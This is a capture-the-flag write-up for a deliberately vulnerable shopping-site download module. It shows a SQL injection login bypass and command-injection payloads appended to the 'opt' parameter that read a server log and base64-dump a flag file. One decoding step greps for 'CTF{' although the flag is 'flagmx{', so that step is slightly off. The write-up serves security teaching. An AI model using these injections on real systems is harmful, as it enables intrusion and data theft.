Download the file — Write-up (Administrator)

Challenge text

The internal logs of the online shopping system show unusual activity: an internal download module, meant only for authorized staff, has started responding to strange and undocumented requests.

According to internal reports, some users claim they received data they never asked for, as if the server had executed hidden instructions "by accident."

Your mission is to infiltrate this download module and force the system to reveal confidential data.

If you manipulate it correctly, you will obtain undeniable proof of the breach — a secret flag only an intruder could retrieve.

General Information

- Vulnerable endpoint: index.php, filetool.php
- Injection parameter: capcha, opt
- Target directory: /home/ctfuser/
- Audit hint: there is an internal log file named metared.log stored on the web server logs directory
- The binary file:
  - flag.bin
- Flag format: `flagmx{the_importance_of_coding}`

1. Access the application

The front-end login at `index.php` is protected by a fake CAPTCHA.
The parameter captcha in `auth.php` is vulnerable to SQL injection.

By injecting:

```
captcha=1 OR 1=1
```

the login check is bypassed, allowing access to the Download Center.

2. Enumerate files in the target directory

The vulnerable opt parameter in `filetool.php` allows attackers to append shell commands.

Locate the binary file

Since the /home/ctfuser directory is not listable by default, an indirect hint can be obtained by first searching the web server's internal logs.

The internal Metared log reveals suspicious activity including the real binary name.

Use command injection to view the log, for example:

```
; grep flag /var/log/nginx/metared.log
```

After finding the binary name, enumerate the directory to confirm its presence:

```
; ls -l /home/ctfuser/flag.bin
```

or

```
; find /home/ctfuser -type f -name 'flag.bin'
```

3. Exfiltrate the binary in Base64

Use the vulnerability to read and encode the binary:

```
; cat /home/ctfuser/flag.bin | base64 -w0
```

Copy the Base64 output from the response page.

4. Decode locally and recover the flag

Save the Base64 content to a file and decode:

```
base64 -d out.b64 > flag.bin

strings -n 6 flag.bin | grep -E 'CTF{.*}'
Expected result:

flagmx{the_importance_of_coding}
```